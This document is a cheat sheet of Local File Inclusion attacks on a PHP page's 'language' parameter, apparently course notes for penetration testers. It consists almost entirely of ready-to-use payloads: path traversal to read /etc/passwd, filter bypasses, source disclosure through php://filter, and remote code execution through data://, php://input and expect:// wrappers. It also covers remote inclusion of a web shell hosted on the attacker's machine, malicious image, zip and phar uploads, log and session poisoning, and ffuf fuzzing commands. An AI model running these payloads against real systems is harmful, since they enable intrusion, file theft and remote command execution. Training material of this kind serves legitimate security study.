Local File Inclusion

Basic LFI

1. /index.php?language=/etc/passwd - Basic LFI
2. /index.php?language=../../../../etc/passwd - LFI with path traversal
3. /index.php?language=/../../../etc/passwd - LFI with name prefix
4. /index.php?language=./languages/../../../../etc/passwd - LFI with approved path

LFI Bypasse

1. index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64 - Bypass filters with URL encoding
2. /index.php?language=non\_existing\_directory/../../../etc/passwd/./././.[./ REPEATED ~2048] - Bypass appended extension with path truncation (obsolete)
3. /index.php?language=../../../../etc/passwd%00 - Bypass appended extension with null byte (obsolete)
4. /index.php?language=php://filter/read=convert.base64-encode/resource=config - Read PHP with base64 filter

Remote Code Execution

PHP Wrappers

1. /index.php?language=data://text/plain;base64,<in base64 encoded the php command for webshell>&cmd=id

* RCE with data wrapper

1. curl -s -X POST --data '<?php system($\_GET["cmd"]); ?>' "http://<SERVER\_IP>:<PORT>/index.php?language=php://input&cmd=id" - RCE with input wrapper
2. curl -s "http://<SERVER\_IP>:<PORT>/index.php?language=expect://id" - RCE with expect wrapper

RFI

1. echo '<?php system($\_GET["cmd"]); ?>' > shell.php && python3 -m http.server <LISTENING\_PORT> - Host web shell
2. /index.php?language=http://<OUR\_IP>:<LISTENING\_PORT>/shell.php&cmd=id - Include remote PHP web shel

LFI + Upload

1. echo 'GIF8<?php system($\_GET["cmd"]); ?>' > shell.gif - Create malicious image
2. /index.php?language=./profile\_images/shell.gif&cmd=id - RCE with malicious uploaded image
3. echo '<?php system($\_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php - Create malicious zip archive 'as jpg'
4. /index.php?language=zip://shell.zip%23shell.php&cmd=id - RCE with malicious uploaded zip
5. php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg - Create malicious phar 'as jpg'
6. /index.php?language=phar://./profile\_images/shell.jpg%2Fshell.txt&cmd=id - RCE with malicious uploaded phar

Log Poisoning

1. /index.php?language=/var/lib/php/sessions/sess\_nhhv8i0o6ua4g88bkdl9u1fdsd - Read PHP session parameters
2. /index.php?language=%3C%3Fphp%20system%28%24\_GET%5B%22cmd%22%5D%29%3B%3F%3E - Poison PHP session with web shell
3. /index.php?language=/var/lib/php/sessions/sess\_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id - RCE through poisoned PHP session
4. curl -s "http://<SERVER\_IP>:<PORT>/index.php" -A '<?php system($\_GET["cmd"]); ?>' - Poison server log
5. /index.php?language=/var/log/apache2/access.log&cmd=id - RCE through poisoned PHP session

Misc / automating

1. ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER\_IP>:<PORT>/index.php?FUZZ=value' -fs 2287 - Fuzz page parameters
2. ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER\_IP>:<PORT>/index.php?language=FUZZ' -fs 2287 - Fuzz LFI payloads
3. ffuf -w /opt/useful/SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER\_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287 - Fuzz webroot path
4. ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER\_IP>:<PORT>/index.php?language=../../../../FUZZ' -fs 2287 - Fuzz server configurations